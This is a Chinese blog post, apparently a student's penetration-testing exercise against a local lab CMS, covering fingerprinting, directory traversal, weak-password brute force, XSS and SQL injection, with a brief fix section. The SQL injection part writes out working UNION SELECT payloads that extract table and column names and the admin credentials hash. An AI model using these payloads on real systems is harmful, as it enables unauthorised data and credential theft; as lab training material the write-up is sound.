渗透测试练习

1、在主机hosts文件绑定域名,内容为自己姓名缩写,要求使用域名访问靶机的cms

编辑hosts文件,添加

192.168.142.144 wyh.com

image-20250830115833459

域名访问测试

http://wyh.com/cms/

image-20250830120001645

2、针对域名进行渗透测试,编写渗透测试报告与漏洞挖掘报告两个文件

信息收集

指纹识别

查看网站指纹信息

image-20250830123135922

目录扫描

爆破

image-20250830124551412

漏洞挖掘

目录遍历漏洞1

image-20250830132830335

目录遍历漏洞2

image-20250830132859874

信息泄露

image-20250830133112497

弱密码

后台登录框输入账户密码,弹出用户名和密码不正确,但是出现弹窗大概率是在前端进行了验证

image-20250830124215338

找到代码,看来是后端验证

image-20250830133936219

使用yakit尝试去爆破,发现一个数据包状态和响应大小和其他包不同,猜测测试出了账户密码

image-20250830134547235

尝试登录admin,123456。登陆成功

image-20250830134708713

反射型XSS漏洞

image-20250830135303302

存储型XSS

插入留言

image-20250830151236438

后台管理员查看

image-20250830151832495

SQL注入

看见一个搜索框,尝试测试一下sql注入,在搜索框中搜索123'发现页面回显数据库错误信息,那么肯定是存在sql注入无疑

image-20250830135457347

使用order by 尝试注入输出数据列数,发现15列会报错

image-20250830140741813

14列正好没错,可以确定这里有十四列数据

image-20250830140815034

尝试查询出数据库名

http://wyh.com/cms/search.php?keywords=123' union select 1,1,database(),3,4,5,6,7,8,9,10,11,12,13--+&button=搜索

image-20250830143431156

接下来是表名,但是这里有字符数限制那么只能使用

(select group_concat(table_name) from information_schema.tables where table_schema = 'cms')

image-20250830145512794

万能密码

image-20250830152429372

登录测试

image-20250830152413078

SQL注入2

注入出表列数

image-20250830153151285

注入出数据库名称

image-20250830153348143

使用group_concat出现问题,原因是UNION 查询中的字符集冲突,使用 COLLATE 子句统一字符集或使用 CONVERT 函数转换字符集

image-20250830161538241

注入出数据库的表名

http://wyh.com/cms/show.php?id=-34 UNION 
SELECT 1,1,
(SELECT GROUP_CONCAT(table_name COLLATE utf8_general_ci)
FROM information_schema.tables
WHERE table_schema = 'cms'),3,4,5,6,7,8,9,10,11,12,13,14 --+

image-20250830160555019

接下来就是注入出表的列名,以cms_users表为例

http://wyh.com/cms/show.php?id=-34 UNION 
SELECT 1,1,
(SELECT GROUP_CONCAT(column_name COLLATE utf8_general_ci)
FROM information_schema.columns
WHERE table_schema = 'cms' and table_name = 'cms_users'),3,4,5,6,7,8,9,10,11,12,13,14 --+

image-20250830161115027

最后是查询出表的内容,账户admin,密码e10adc3949ba59abbe56e057f20f883e (是123456的32为小写MD5加密)

http://wyh.com/cms/show.php?id=-34 UNION 
SELECT 1,1,
(SELECT GROUP_CONCAT(username COLLATE utf8_general_ci)
FROM cms_users),3,4,5,6,7,8,9,(SELECT GROUP_CONCAT(password COLLATE utf8_general_ci)
FROM cms_users),11,12,13,14 --+

image-20250830161841194

3、修复cms的漏洞并且验证修复效果

弱密码

在设置密码时满足四分之三原则,密码中要包含数字、大写字母、小写字母、其他字符四种的任意三种

渗透测试报告按照提交的模板写
漏洞挖掘报告包含发现漏洞的思路,信息收集过程,漏洞修复结果

Author: wickt42
Link: http://example.com/2025/08/29/渗透测试练习/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.